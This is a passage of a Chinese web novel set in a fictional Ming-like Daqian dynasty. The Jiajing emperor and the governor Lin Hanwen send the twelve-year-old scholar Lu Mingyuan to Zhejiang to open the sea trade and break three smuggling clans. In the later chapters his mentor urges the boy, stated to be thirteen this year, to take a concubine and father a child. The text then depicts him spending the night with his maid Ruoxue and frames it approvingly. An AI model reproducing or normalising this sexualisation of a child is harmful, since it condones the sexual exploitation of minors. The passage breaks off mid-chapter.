他睁开的双眼中,精光湛然,仿佛能穿透宫墙,看到那个在书房里挥毫泼墨的少年。 “吕芳。” “奴婢在。” “传朕的旨意给陆炳,让他手下的锦衣卫盯紧一些。” 嘉靖的声音陡然变得严肃起来。 “这个陆明渊,是上天赐给我大乾的礼物,是数千年来不曾出现过的天骄种子。” “朕要看着他,一步步长成参天大树。” 他的声音在安静的静室中回响,带着不容置疑的威严。 “他现在就是一块璞玉,朕要亲自雕琢。” “绝不能让严嵩那帮蠹虫,或是徐阶那些所谓的清流,把他给毁了!” “他们那些党同伐异的腌臢手段,别沾到朕的状元郎身上!” 吕芳闻言,心中掀起了滔天巨浪,整个人都懵了。 他跟在嘉靖身边几十年,从未听过皇爷对任何一个臣子,有过如此之高的评价! 天赐的礼物! 数千年的天骄! 这……这是何等的圣眷! 吕芳瞬间明白了,陆明渊在皇爷心中的分量,远远超出了所有人的想象。 他不仅仅是一个有才华的臣子,更像是皇爷亲自种下的一棵树,一个寄托了某种期望的未来! “奴婢……奴婢遵旨!” 吕芳深深地叩首在地,声音都带着一丝颤抖。 他知道,从今天起,陆明渊这个名字,在锦衣卫的密档中,将从“关注”级别,直接提升到最高等级的“护佑”! 而此刻的状元府里,陆明渊对发生在西苑的这一切,一无所知。 他送走了今日最后一波客人,正站在书房的窗前,看着庭院中那棵不知名的老树。 暮色四合,晚风习习,吹得树叶沙沙作响。 他知道,自己这半个月的所作所为,必然已经一字不差地摆在了某位大人物的案头。 他也知道,整个京都,无数双眼睛正盯着自己,审视着自己的一举一动。 但这又如何? 他要的,本就不是眼前的浮华。 清高也好,世故也罢,都不过是手段。 在这盘名为“大乾”的棋局上,他才刚刚落下第一颗子。 真正的棋局,还未开始。 他收回目光,重新回到书案前,摊开一张宣纸,提笔蘸墨。 笔尖落下,一行沉稳而有力的字迹,在纸上缓缓呈现—— “潜龙在渊,待时而动。” 第192章 欲平倭患,必先开海! 在半个月后,随一骑来自通政司的快马,叩响了状元府的大门。 来者并非什么高官,只是一名面色寻常的内廷宦官,传的也并非圣旨,而是一句口谕。 “陛下在西苑设了茶,请冠文伯与林抚台一同过去说说话。” 林抚台,便是刚刚自江南道返京述职的江苏巡抚,陆明渊的恩师,林瀚文。 …… 西苑,万寿宫。 此地与前朝三大殿的煌煌天威截然不同。 松柏苍翠,鹤唳时闻,空气中弥漫着浓郁的松香与若有若无的龙涎香气味。 陆明渊跟在林瀚文身后半步,穿过曲折的回廊,来到一处名为“清心阁”的水榭。 水榭三面环水,秋风拂过湖面,带来阵阵凉意与水汽。 阁内,那个身着玄色道袍,须发皆有霜意的中年男人,正凭栏而坐。 手中捏着一把鱼食,有一搭没一搭地撒向水中的锦鲤。 他便是大乾王朝的主宰,嘉靖皇帝。 “臣,林瀚文(陆明渊),叩见皇上,吾皇万岁万岁万万岁。” 林瀚文与陆明渊一前一后,跪地行礼,姿态恭敬到了极点。 “起来吧。” 嘉靖并未回头,声音飘忽,仿佛是从水面上传来。 “瀚文,你这一路辛苦。来,坐。” “谢皇上。” 林瀚文起身,却不敢真的坐实,只在旁边的绣墩上欠了半个身子。 陆明渊则安静地垂手立于林瀚文身后。 嘉靖终于转过头。 那双看似慵懒的眸子,先是在自己这位封疆大吏的脸上扫过,随即落在了陆明渊身上,细细打量了一番。 嘉靖笑了,那笑意很淡,却让一旁的林瀚文心中猛地一紧。 “林爱卿,你教了个好学生啊。” 嘉靖的目光重新回到林瀚文身上,语气里带着几分玩味。 “不贪财,不好色,小小年纪,便博了个‘清廉如水,雅致如竹’的好名声。” “这半个月,朕的耳朵里,可都是他的名字。” 林瀚文只觉一股寒意从脊背升起,连忙离座,再度躬身道。 “皇上谬赞,臣愧不敢当。” “明渊年少,能有今日,皆是仰赖皇上天恩浩荡,文风昌明,臣不敢居功。” 他这话答得滴水不漏,将一切功劳都推到了皇帝身上。 嘉靖不置可否地摆了摆手,示意他坐下,话题却陡然一转。 “朕让你回京述职,国库的账,你心里应该有数了吧。” 谈及正事,林瀚文的神情瞬间变得凝重,他站起身,沉声回道。 “回皇上,臣已与户部高尚书核对过。” “去年,我大乾因北虏南倭,兼之数省大灾,国库亏空已近千万两白银。” 他说着,声音里透出一丝沉痛与自责。 “臣治下江南道,忝为我大乾最富庶之地,鱼米之乡,理应为君分忧。” “臣与各府州县的同僚,费尽心力,也只能为陛下填上五百万两的亏空。” “臣失职,请皇上降罪!” 他深深一揖,头几乎要垂到地上。 “臣回去后,已下令江南道上下,节衣缩食,今年或可再挤出一百万两。” “但余下的四百万两……臣,无能为力!” 偌大的水榭,一时只剩下风声与鱼儿争食的泼剌声。 陆明渊静静地听着,心中却是波澜起伏。 千万两白银的亏空,这是足以动摇国本的数字。 而自己的老师,竟能以一省之力,填补大半。 这其中所付出的心血与手段,绝非常人可以想象。 许久,嘉靖才幽幽叹了口气。 “起来吧,朕知道你难。” 他摆了摆手,语气竟是难得的温和。 “一个家,就这么大。这几年,天灾人祸,朕这个当家人,也不好当。” “这一千万两的窟窿,你能给朕堵上六百万两,已经是天大的功劳了,朕怎么会怪你?” 他话锋一转,目光投向水榭之外,仿佛穿透了层层宫墙,看到了大乾那片纷扰的东南。 “说到底,还是开源的问题。” “浙江,往年乃是朝廷赋税重地,丝绸、海盐、商税,哪一样不是白花花的银子?” “可自倭寇袭扰以来,税赋年年递减,如今只剩下往年的十之一二。” 嘉靖的声音变得冷冽起来。 “吕芳给朕算过一笔账,若是能彻底平了倭寇,让浙江恢复旧观,一年至少能为国库多添八百万两的进项。” “到那时,什么北虏,什么灾荒,朕还用得着愁吗?” 他收回目光,静静地看着林瀚文。 “林爱卿,你说,这浙江的问题,该如何解决?” 这个问题,如同一道惊雷,在林瀚文的脑海中轰然炸响! 他瞬间明白了! 他终于明白了今天这场召见的真正用意! 皇上当着他的面,先是夸赞陆明渊,再是点出国家财政的困境。 最后将所有问题的症结,都引向了浙江的倭患与税收。 而解决浙江问题的钥匙,不正在自己身后这个年仅十二岁的学生身上吗? 那篇“漕海一体”之论,正是为此量身打造的万全之策! 皇上今天叫陆明渊过来,不是为了夸他,而是为了用他! 皇上这是想借着浙江这个烂摊子,将陆明渊这个天纵之才,直接安排到波诡云谲的官场风暴之中! 这是一场豪赌! 用一个十二岁的少年,去撬动一个盘根错节、牵扯了无数利益集团的巨大棋局! 这一刻,无数念头在林瀚文心中闪过。 严党的虎视眈眈,徐阶的清流集团,浙江本地错综复杂的地方势力。 任何一个,都足以将一个毫无根基的少年碾得粉身碎骨。 让他去,是爱他,还是害他? 林瀚文的额角,渗出了细密的汗珠。 他看了一眼身旁垂手而立,面容沉静如水的陆明渊。 那双清澈的眼睛里,没有半分怯懦,只有与年龄不符的深沉。 他忽然想起,在江宁府初见之时,这个少年便敢于直面自己这位封疆大吏,侃侃而谈。 在府试之上,他便敢于写出那等足以改变国策的惊世之文。 潜龙在渊…… 龙,又岂能久居于渊? 林瀚文的心中,陡然升起一股豪气。 他猛地一撩官袍,双膝跪地,对着嘉靖重重叩首! “皇上!” 他的声音,铿锵有力,掷地有声! “臣,举贤不避亲!” “臣以为,解浙江之困,不在兵,而在政!不在剿,而在通!” “我大乾海疆万里,倭寇如癣疥之疾,剿之不尽,防不胜防。” “其根源在于海路不通,商路不畅,沿海万民无以为生,方被倭寇裹胁利用!” “欲平倭患,必先开海!欲兴浙江,必先通商!” 他抬起头,目光灼灼地看向嘉靖,一字一顿地说道: “臣弟子,冠文伯陆明渊,于府试策论中,曾献‘漕海一体’之策。” “此策,将漕运之安稳与海运之便利合二为一,以官督商办,设市舶司,引万国来朝,既可充盈国库,又能断绝倭寇之根基!” “臣以为,此乃万全之策!” “臣恳请皇上,允陆明渊前往浙江,试行此策!” 说到最后,他已是声色高亢,整个水榭中,都回荡着他的声音。 嘉靖静静地听着,脸上依旧是那副波澜不惊的神情。 他的手指,在身前的栏杆上轻轻敲击着。 “笃、笃、笃”的声响,敲在林瀚文的心上,也敲在陆明渊的心上。 “让他去?” 嘉靖轻笑一声。 “他才十二岁,一个连毛都没长齐的娃娃,你让他去跟浙江那些成了精的老狐狸斗?” “去跟那些亡命天涯的倭寇斗?” “林瀚文,你这是让他去送死。” 林瀚文闻言,心头一颤,但他没有退缩,反而将头埋得更低。 “皇上,宝剑锋从磨砺出,梅花香自苦寒来。” “天降麒麟儿于我大乾,若只将他供于庙堂之上,岂非明珠暗投?” “臣愿以项上人头作保!若不成,臣与劣徒,共赴国法!” 好一个“共赴国法”! 嘉靖眼中的笑意,终于浓郁了几分,其中更夹杂着一丝不易察觉的欣赏。 他要的,就是林瀚文这个态度。 他要的,就是皇党领袖的林瀚文,亲手将这把最锋利的剑,递到自己的手上! 他缓缓站起身,走到陆明渊面前。 “小家伙,你老师要把你扔进火坑里,你怕不怕?” 从始至终,陆明渊都未发一言。 但他的心,却早已随着这场君臣问对,掀起了万丈波涛。 他抬起头,迎上嘉靖那洞悉一切的目光。 平静的面容上,终于露出了一丝属于少年人的锐气与锋芒。 他躬身,长揖及地,声音清朗而坚定。 “回皇上。” “微臣,万死不辞!” 第193章 这意味着什么,你懂吗? “学生,万死不辞!” 这六个字,如金石掷地,在这水榭之中,荡开一圈无形的涟漪。 风声、水声,似乎都在这一刻静止了。 嘉靖静静地看着眼前这个身形尚未完全长开的少年。 那双看似慵懒的眸子里,第一次透出了某种难以言喻的深邃光芒。 他没有立刻说话,而是将目光缓缓移开,落在了身旁那位伏地不起的封疆大吏身上。 片刻后,嘉靖轻轻摇了摇头,唇角勾起一抹似笑非笑的弧度。 “林瀚文。” 他开口了,声音不大,却清晰地传入了林瀚文与陆明渊的耳中。 “朕夸你教了个好学生,你倒是真敢顺着杆子往上爬。” “举贤不避亲?说得好听。” “你就不怕这道折子递上去,满天下的士子戳着你的脊梁骨,骂你林瀚文任人唯亲。” “骂你为了提携自己的学生,连朝廷国策都敢拿来当儿戏吗?” 这是诛心之言,对于一个自诩清流的文臣来说,名声看得比性命还重。 然而,林瀚文伏在地上的身子,却是纹丝不动。 他没有抬头,声音却比之前更加沉稳,更加坚定。 “回皇上,臣在乎的,是这大乾的江山社稷,是东南沿海数百万生民的性命。” “至于臣一身之清誉,天下士子如何说,臣不在乎。” 他顿了顿,仿佛积蓄了全身的力气,字字铿锵。 “漕海一体,事关国本,牵一发而动全身。” “此策,唯有明渊能懂其精髓,唯有他,是怀着一颗为国为民之心去做这件事。” “若是换了旁人,即便读懂了策论,也只会想着如何从中渔利。” “他们只会想着如何将这利国利民的大策,变成自己中饱私囊的工具,最后只会让浙江的百姓,陷入更深的水火之中!” “皇上即便再问臣一万次,臣也是同样的回答。” 他猛地抬起头,双目赤红,直视着那至高无上的皇权,声音里带着一股不容置疑的决绝。 “漕海一体,只能陆明渊去做!” 水榭之中,再次陷入了长久的沉默。 嘉靖看着林瀚文眼中那份不惜一切的执拗,终于,他脸上的玩味渐渐散去,取而代之的是一种复杂难明的情绪。 他摇了摇头,这一次,似乎带着一丝叹息。 “痴儿,痴儿……” 他喃喃自语,也不知是在说林瀚文,还是在说那个同样倔强的陆明渊。 “罢了。” 嘉靖摆了摆手,示意林瀚文起来。 “你的意思,朕明白了。” 他走到水榭的另一侧,背对着君臣二人,望着那一片被宫墙圈起来的湖光山色,悠悠说道。 “这道折子,不能由你来递。” 林瀚文一愣,刚想开口,却被嘉靖打断。 “你林瀚文不在乎天下士子的口水,朕在乎。” 嘉靖的声音变得有些飘忽。 “朕手里能用的,能信的,掰着指头都能数过来。” “朕可不想朕的封疆大吏,被那些自诩清流的唾沫星子给淹死。” “这件事,朕会安排人去做。” “到时候,朝堂上自然会有人把这道折子,放在朕的龙案上。” 说完,他转过身,目光重新落在了陆明渊的身上。 这,他的眼神温和了许多,像是长辈在看一个极有出息的晚辈。 “小家伙,你老师这股子犟脾气,你可要好好学一学。” “这次浙江的漕海一体,朕准了。这便是国策。” 嘉靖缓步走到陆明渊面前,语气里带着几分郑重与期许。 “你初入仕林,朕就给你这么一副天大的担子,说实话,是有些拔苗助长了。但这也是没办法的事情。” “这件事,牵扯太广,里面的水,比这西苑的湖水深得多。” “严阁老,徐阁老,六部九卿,江南的士绅,海上的倭寇……哪一个不是吃人不吐骨头的角色?” “满朝文武,朕只信得过林瀚文。” 嘉靖的目光转向林瀚文,又缓缓移回到陆明渊脸上,一字一句地说道。 “你是他的学生,是他用项上人头保举的人。所以,朕现在也信你。” “好好做。” 最后这三个字,很轻,却又重逾千斤。 陆明渊的心,在这一刻,剧烈地跳动起来。 他很清楚,嘉靖皇帝当着恩师林瀚文的面说出这番话,意思已经再明显不过。 这不是暗示,这是明示! 漕海一体之事,就是皇帝陛下亲自交给自己的一场大考! 考的不仅仅是那篇策论,更是自己的手段、魄力与忠诚! 这件事办得好不好,将决定自己能在这大乾的棋盘上,走到多高,走得多远! 这是天大的信任,更是天大的机会! 陆明渊深深吸了一口气,压下心头的万千思绪,再次躬身,行了一个无可挑剔的大礼。 “微臣,谨遵圣谕!必不负皇上与恩师厚望!” “嗯。” 嘉靖满意地点了点头,脸上的神情又恢复了那份慵懒与淡然。 仿佛刚才那一番君臣交心,不过是寻常的闲谈。 “你先回府去吧,朕还有些话,要与你老师单独说说。” “学生告退。” 陆明渊不敢有丝毫迟疑,恭敬地再次行礼,然后小心翼翼地后退着,退出了清心阁,自始至终,没有再回头看一眼。 当他的身影消失在回廊的尽头,嘉靖才重新坐回栏杆前,又捏起了一把鱼食。 “林瀚文,你这个学生,是把好剑啊。” “可惜,太锋利了。” …… 一个时辰后,状元府。 夕阳的余晖将书房的窗棂染成一片温暖的金色。 陆明渊静静地坐在书案前,面前的茶水已经换过了一遍,却一口未动。 他在等。 终于,门外传来了熟悉的脚步声,不疾不徐,沉稳有力。 房门被推开,林瀚文一脸肃然地走了进来。 他没有坐下,只是站在书房中央,看着自己这个年仅十二岁的弟子,眼神复杂。 有欣慰,有担忧,更多的,是一种即将送子上战场的凝重。 “明渊。” “恩师。” 陆明渊起身行礼。 “坐吧。” 林瀚文摆了摆手,自己也在一旁的椅子上坐下,沉默了片刻,才缓缓开口。 “接下来的浙江之旅,是你入仕之后,最重要的一步,也是最凶险的一步。万事,都要小心。” 陆明渊认真地听着,他知道,这才是今天这场召见真正的“下半场”。 在西苑,是君与臣的对话;在这里,才是师与徒的交心。 林瀚文的目光变得锐利起来。 “‘漕海一体’,皇上已经金口玉言,定为国策。” “你此去浙江,便是钦差,代表的是皇上。” “但你要记住,皇上在京城是天,出了京城,到了地方,能有几分效力,就要看你自己的本事了。” “一旦此策成功,我大乾国库每年至少能多出八百万两白银的进项。” “更重要的是,朝廷将通过市舶司,将整个浙江乃至东南沿海的经济命脉,牢牢抓在手里。” 林瀚文的声音压得很低,却字字如雷。 “这意味着什么,你懂吗?” 陆明渊点头,沉声道。 “这意味着,严党对于浙江的掌控,将会被釜底抽薪。” “没错!” 林瀚文眼中闪过一抹精光。 “浙江的盐税、商税、海贸之利,泰半都流入了严党及其党羽的私囊。” “他们盘踞浙江数十年,官商勾结,关系网错综复杂,早已是铁板一块。” “你这道国策,就是要从他们身上割肉,要断他们的财路!他们岂会善罢甘休?” “所以,他们一定会拼了命地阻拦你!” “明枪暗箭,无所不用其极!” 林瀚文的神情变得前所未有的严肃。 “你要有心理准备,这项国策,想要真正见到成效,非一日之功。” “我与皇上私下计议过,想要推行漕海一体,至少需要三年!” “三年?” 陆明渊心中一凛。 “不错,至少三年。” 林瀚文叹了口气。 “你此去,切记不可操之过急。” “浙江那个烂摊子,积弊已深,不是一剂猛药就能治好的。” “你若是逼得太紧,只会激起所有人的反抗,到时候群起而攻之,便是神仙也难救你。” “你的任务,不是在三年内彻底推行‘漕海一体’,那不现实。” 林瀚文看着陆明渊,一字一顿地说道: “但是,你又必须要在最短的时间内,做出一些成绩来!” 陆明渊的眉头微微皱起,他瞬间明白了老师话中的深意。 这是一个看似矛盾,却又无比现实的要求。 林瀚文的声音在他耳边继续响起。 “这道国策,是你提出来的。朝中必然会有无数双眼睛盯着你,等着看你的笑话。” “你必须做出成绩,哪怕只是一点点成绩,来向皇上,向满朝文武证明——你陆明渊不是在纸上谈兵。” “漕海一体’之策,是正确的,是可行的,是有效的!” “唯有如此,皇上才能顶住压力,继续支持你。” “唯有如此,那些摇摆观望的中间派,才有可能倒向你。” “也唯有如此,你才能在浙江,真正站稳脚跟。” 陆明渊点了点头,心中一片雪亮。 林瀚文的意思再明白不过。 他不能掀桌子,因为他还没有掀桌子的实力。 但他又必须从这张旧桌子上,切下一块属于自己的蛋糕。 他需要证明自己的能力,证明“漕海一体”不是一句空谈。 第194章 用这一家的血,来震慑另外两家 看着陆明渊那张稚嫩的脸庞上,流露出与年龄全然不符的凝重与决绝。 林瀚文那紧绷的嘴角,终于还是松弛了下来,化作一声悠长的叹息。 他轻轻摆了摆手,示意陆明渊不必如此紧绷。 “坐着说话。” “你这般模样,倒像是要去赴死。” 他顿了顿,语气缓和了许多。 “你也莫要太过紧张。浙江的水虽深,但也不是处处都是龙潭虎穴。” “浙直总督胡宗宪,此人你要记住。” “胡宗宪?” 陆明渊心中一动,这个名字他如雷贯耳,乃是当今东南抗倭的第一名将,只是.....。 “学生听说,胡总督是严阁老的人。” “是,也不是。” 林瀚文的眼神变得有些复杂。 “胡宗宪能有今日,确实离不开严阁老的提携,他是毋庸置疑的严党。” “但他与严党那些只知贪墨的蠹虫不同,此人心中,尚存着家国天下,装着东南的百姓。” “他是个明大理的人,在大是大非上,他拎得清。” “你此去,代表的是皇上,是国策,只要你的法子真能平倭患、利海疆,他非但不会为难你,甚至可能会成为你的助力。” “当然,这一切的前提,是你得让他看到你的本事。” “除了胡宗宪,杭州知府周泰,与我乃是同科,关系莫逆。” “我稍后会去书信一封,让他照拂一二。有他在,杭州府内,你的政令推行起来,阻力会小上许多。” 然而,林瀚文话锋一转,神情再度变得肃杀。 “但是,明渊,你要提防的,不是这些摆在明面上的官员。” “一省之地,知府十数,人心各异。” “真正要让你寸步难行的,是那些盘踞在临海之地,经营了百年的世家大族。” 说到这里,林瀚文忽然停住了话语。 他看了一眼窗外,吩咐道,“林武,守住院门,今晚任何人不得靠近书房半步。” “卑职领命!” 林武领命而去,沉重的房门被缓缓关上,紧接着是窗户。 书房内瞬间与外界隔绝。 这突如其来的举动,让陆明渊的心瞬间提到了嗓子眼。 他知道,接下来林瀚文要说的,才是今夜,乃至整个浙江之行,最核心、最致命的秘密。 林瀚文转过身,双眼睛里燃烧着压抑已久的火焰。 “明渊,你可知,我大乾沿海,倭寇为何屡禁不绝,反而愈演愈烈?” 陆明渊沉吟片刻,谨慎答道。 “有说是前朝余孽勾结外寇,亦有说是海商渔民为利所驱,铤而走险。” “这都只是皮毛!” 林瀚文的声音陡然压低,带着一丝冰冷的寒意。 “真正的根子,就在浙江!就在临海三大世家——宁波沈家,舟山汪家,还有温州陈家!” “这三家,明面上是书香门第,簪缨世族,暗地里,却是整个东南最大的走私商!” “他们依靠通番海贸,富可敌国,我大乾的海禁,在他们眼中,不过是一纸空文。” “他们豢养私兵,勾结倭寇,甚至……他们本身就是倭寇主使!” “什么?!” 陆明渊如遭雷击,他虽然猜到地方士绅与海寇有所勾结,却万万没想到,竟是如此的触目惊心! 三大世家,竟是倭寇主使? 这已非官商勾结,这是通敌叛国! “漕海一体,为何能平倭患?” 林瀚文冷笑一声,“因为它要开海禁,要设市舶司,要将所有海贸纳入朝廷的掌控!” “这等于将悬在倭寇头上的刀,送到了朝廷手里!” “更重要的是,此策一旦功成,每年至少八百万两的巨额利润,将不再流入这些世家的私囊,而是尽归国库!” “你这道策论,不是在割他们的肉,是在要他们的命!你说,他们会不会拼了命地阻拦你?” 冰冷的话语,在密闭的书房中回荡,让陆明渊感到一阵彻骨的寒意。 他终于明白了,嘉靖皇帝口中那“比西苑湖水深得多”的水,究竟是什么。 “你最大的敌人,不是远在京城的严党,而是这些盘踞在浙江,经营了几十年,早已与地方官府、卫所、乡绅融为一体的几大世家!” 林瀚文的目光锐利如刀。 “我在江南为官十年,用尽心力,也不过是勉强清缴了一个稍弱的家族,压制了三两家冒头的势力。” “而这三大世家,根基之深,远超你的想象。他们的一句话,比总督的官文在地方上还好用!” 陆明渊的呼吸变得有些急促,这是他穿越而来,面临的最大危机! 、林瀚文看着他,一字一顿,将自己十年宦海沉浮的经验,毫无保留地倾囊相授。 “你此去,万万不可操之过急!这个烂摊子,积弊百年,非一朝一夕可除。” “你若是想用一剂猛药,快刀斩乱麻,结果只会是激起所有人的同仇敌忾。” “他们会联起手来,将你砸得粉身碎骨!到那时,便是皇上,也保不住你。” “那……学生该当如何?” 陆明渊虚心求教。 林瀚文伸出一根手指,在空中缓缓写着。 “分而图之!” “清缴一家,拉拢一家,打压一家。” “三大世家,看似同气连枝,实则内部亦有龃龉。” “你要做的,就是找到他们之间最薄弱,寻一个罪名最大、民愤最深的,用雷霆手段,连根拔起!杀鸡儆猴!” “用这一家的血,来震慑另外两家。” “然后,对其中相对守规矩,或者说野心没那么大的一家,许以市舶司的重利,将他们拉拢到你的船上。” “让他们成为新秩序的既得利益者,如此,你便有了内应,有了帮手。” “至于最后一家,则要不断地打压,削弱其实力,却又不将它逼上绝路。” “要让它成为悬在那个被拉拢的世家头顶的剑,让他们相互制衡,相互猜忌。” “如此,方能保持平衡,让你有从中斡旋的余地。” “至于‘漕海一体’的利益……” 林瀚文长叹一声,眼中闪过一丝无奈与现实。 “水至清则无鱼。这件事,你不要想着尽善尽美。” “十分的利,能有五分安安稳稳地落入国库,便已经是泼天的功劳!” “该让出去的,要舍得让。分一些给胡宗宪这样的实力派,分一些给被你拉拢的世家,甚至分一些给京中的某些大人。” “你要让他们都觉得,支持你陆明渊,支持‘漕海一体’,是有好处的,如此,你的国策才能推行下去。” “贪心,是官场大忌。” “饭要一口一口吃,路要一步一步走,徐徐图之,方是长久之道。” …… 烛火噼啪作响,灯花爆开了一次又一次。 林瀚文将自己对浙江局势的分析,对各方势力的判断,如何布局,如何破局,如何合纵连横,尽数交给了陆明渊。 不知不觉,已是夜深。 窗外传来了三更的梆子声。 林瀚文终于停了下来,端起早已冰凉的茶水,一饮而尽,润了润干涩的喉咙。 陆明渊缓缓起身,整了整衣冠,神情肃穆到了极点。 他退后两步,对着林瀚文,行了一个端端正正的跪拜大礼,额头重重地磕在冰凉的地砖上。 “砰!” 这一拜,拜的不是老师的教诲之恩。 这一拜,拜的是长辈的提携之情。 林瀚文今夜所授,早已超出了师生之谊的范畴。 这是在交底,是在托付,是将自己一生最宝贵的为官心血,赠予了这个他寄予厚望的少年。 这份恩情,重于山岳,陆明渊自觉,一生都难以偿还。 林瀚文静静地受了他这一礼,眼中闪过一抹欣慰,随即上前将他搀扶起来。 “痴儿。” 他拍了拍陆明渊肩上的灰尘,声音里带着一丝温情。 “路,我已经指给你了。但接下来的每一步,都要靠你自己去走。” “记住,到了浙江,安顿下来后,第一件事,就是去拜访胡宗宪。” “姿态要放低,你是去办事的,不是去当官老爷的。” “另外,我再给你两个人。” 林瀚文从书案的暗格里,取出两封未署名的信笺。 “你若有实在拿不准的事情,可以去找赵夫子,也可以去找林家三爷林天元。” “这两人,你都认识,也同你有故交。” “论才干谋略,这俩人不弱于我,不到万不得已,不要轻易动用。” “但一旦用了,便要给予绝对的信任。” “起来吧。” 林瀚文看着窗外深沉的夜色,悠悠道。 “天不早了,这几天好生歇息。” “过几天,吏部的任命文书,怕是就要下来了。” “学生……告退。” 就在陆明渊即将出去的时候,林瀚文叫住了他! “今年便是十三了,该说一门婚事了!” “正妻不娶,妾室也该考虑了!” “许多少年像你这般年纪,都已经洞房了!” “若雪跟了你这么久,居然没个消息,我也放心不下!” “去浙江前,争取有个动静!” 陆明渊闻言脸颊瞬间红了! 他先前一心想着科举,即便是赚了数万两白银,也从未有一天享乐! 如今林瀚文这番话倒是提醒了他! 除去科举,他身边儿还有一个倾国倾城的美人儿! 陆明渊微微躬身,声若蚊蝇的说道! “学生知晓!” “今夜,便不负恩师嘱托!” 第195章 公子,夜深了,该安歇了 陆明渊回到自己的院落,推开房门,一股淡淡的馨香萦绕鼻尖。 若雪正抱着一床崭新的锦被,安静地站在屋子中央。 见他进来,清冷的眸子里泛起一丝涟漪,微微垂下了眼帘,轻声道。 “公子,夜深了,该安歇了。” 那锦被是上好的苏绣,绣着一对戏水的鸳鸯,在烛光下栩栩如生。 陆明渊的心,没来由地一颤。 他看着眼前这个少女,她跟了自己不算久,却仿佛已经过了很久。 从江宁府初见时的清冷戒备,到如今的默然相伴。 她的话总是很少,但她的眼神,却总能恰到好处地流露出关切。 林瀚文的话语,再一次在耳畔响起。 “去浙江前,争取有个动静!” 陆明渊的目光落在若雪那张白皙如玉、毫无瑕疵的脸庞上。 此去浙江,是龙潭虎穴,是九死一生。 他不知道自己能否活着回来,不知道这“漕海一体”的国策,最终会成为自己的功名碑,还是墓志铭。 他又能给身边的人,留下些什么? “被子放下吧。” 陆明渊的声音有些沙哑。 若雪依言,将锦被放在床榻边上,叠得整整齐齐,而后便要像往常一样,退到外间守夜。 “若雪。” 陆明渊叫住了她。 少女回过身,眼中带着一丝询问。 陆明渊看着她的眼睛,那双眸子像是深潭,倒映着摇曳的烛光,也倒映着自己此刻凝重的脸。 他缓缓开口,每一个字都说得异常清晰。 “此去浙江,前路莫测,生死难料。” 他顿了顿,轻声道。 “你……可愿跟着我?” 这话问得有些歧义,她本就是他的婢女,自然是要跟着他的。 但若雪听懂了。 她冰雪聪明,如何听不懂这“跟着”二字的含义。 她先是微微一愣,仿佛不敢相信自己的耳朵。 那双一直古井无波的眸子里,瞬间掀起了惊涛骇浪,有震惊,有迷茫,有不敢置信。 最终,所有的情绪都化作了一片氤氲的水汽。 她等这一天,等了太久太久。 从林万三将她送到他身边的那一刻起,她的命运便与这个少年绑在了一起。 起初是任务,是投资。 可日复一日的相处中,看着他于灯下苦读,看着他于考场挥斥方遒。 看着他于权贵面前不卑不亢,那颗冰封的心,早已悄然融化。 她早就爱慕上了这个惊才绝艳的少年。 只是她身份卑微,从不敢有半分奢望,只能将这份情愫压下。 没想到,他竟然……主动提了出来。 巨大的惊喜与幸福感如潮水般涌来,瞬间将她淹没。 她感觉自己的脸颊像火烧一样滚烫,瞬间像熟透的苹果一般。 她想点头,却发现脖颈僵硬得不听使唤。 她想开口说“我愿意”,喉咙却像是被什么堵住,发不出半点声音。 最终,她只是重重地、重重地点了点头。 泪水再也抑制不住,顺着脸颊滑落,滴落在衣襟上,晕开一小片深色的痕迹。 陆明渊他走上前,用指腹轻轻拭去她脸上的泪痕,触手一片滚烫。 “哭什么。” 他将她揽入怀中,少女的身子微微一僵,随即彻底软化下来,将头深深埋在他的胸膛。 这一夜,红烛高照,锦被下的身影交颈缠绵。 窗外的风,似乎也变得温柔起来。 …… 第二日天光大亮,一缕晨曦透过窗棂的缝隙,照在床榻之上。 若雪长长的睫毛颤了颤,缓缓睁开眼。 身旁的位置已经空了,尚有余温。 她动了动身子,一阵从未有过的酸软与羞涩感瞬间席卷了全身。 她俏脸绯红,连忙拉起被子蒙住了头。 昨夜的一幕幕在脑海中回放,如梦似幻。 她不再是那个清冷的婢女,她成了他的女人。 她正害羞地想着心事,房门被轻轻推开,陆明渊笑着开口。 “今天好好歇着,其他的事情,我让下人处理!” 院子里,晨光正好。 林瀚文一身寻常的布衣,正在院中打着一套拳法。 动作看似缓慢,却绵里藏针,显然是极高明的养生功夫。 他看到陆明渊从房中出来,脸上带着掩饰不住的春风得意。 再看了一眼那紧闭的房门,以及几个端着热水脸盆,正准备进去伺候的丫鬟,嘴角不由勾起一抹了然的笑意。 “嗯,不错。” 林瀚文收了拳势,捋了捋胡须,上下打量着陆明渊,眼神里满是欣慰。 “如今也算是真正的大人了。” 他笑着调侃道。 “古人云人生四大喜,久旱逢甘雨,他乡遇故知,洞房花烛夜,金榜题名时。” “你这小子倒好,金榜题名在前,洞房花烛在后,也算是一桩美谈。” 陆明渊的脸瞬间就红了,拱手道:“恩师……” “莫要害羞。” 林瀚文摆了摆手,笑容更甚。 “我膝下无子,一直引为憾事。你此去浙江,山高水长,凡事要多做准备。” “这次去之前,再努努力,若能留个后,我这当老师的,也能替你照看着,将来也好放心。” “恩师!” 陆明渊羞得无地自容,感觉脚下几乎要烫出火来,再也待不下去,仓皇行了一礼。 “学生……学生去翰林院点卯了!” 说罢,几乎是逃也似的,快步溜出了院子。 看着他落荒而逃的背影,林瀚文抚须大笑,心情说不出的畅快。 笑声渐歇,他脸上的神情重新变得肃穆。 转身回房,换上了那一身代表着封疆大吏身份的绯色官袍。 林瀚文整了整头上的乌纱帽,神情威严,乘轿向着皇城而去。 …… 与此同时,紫禁城,金銮殿。 庄严肃穆的朝堂之上,百官分列。 早朝的议程按部就班地进行着,一些无关痛痒的政务被迅速处理。 终于,有御史出列,奏报国库亏空,言辞恳切地请求陛下与内阁拿出章程,设法弥补。 这是老生常谈的话题了,清流的官员们立刻精神一振,准备就此事向严党发难。 然而,出乎所有人意料的是,这一次,严党并未推诿,也未反驳。 只见班列之中,一个身材微胖,面色白净,眼神却透着一丝阴鸷的年轻人排众而出。 他正是严嵩的独子,工部尚书,也是严党实际上的二号人物——严世蕃! “启禀陛下!” 严世蕃声音洪亮。 “臣以为,王御史所言极是!国库空虚,非一朝一夕之故,开源节流,当以开源为上!” “臣以为,漕海一体,或可为朝廷解忧!” 此言一出,满朝皆惊。 谁都知道严世蕃是个只知敛财的贪鄙之徒,什么时候也关心起国库了? 清流党首,内阁次辅徐阶,眉头微不可查地一皱,眼中闪过一丝警惕。 龙椅之上,常年闭目养神的嘉靖皇帝,眼皮似乎动了一下。 只听严世蕃朗声道。 “我大乾海疆万里,前朝设市舶司,通商万国,岁入数百万两。” 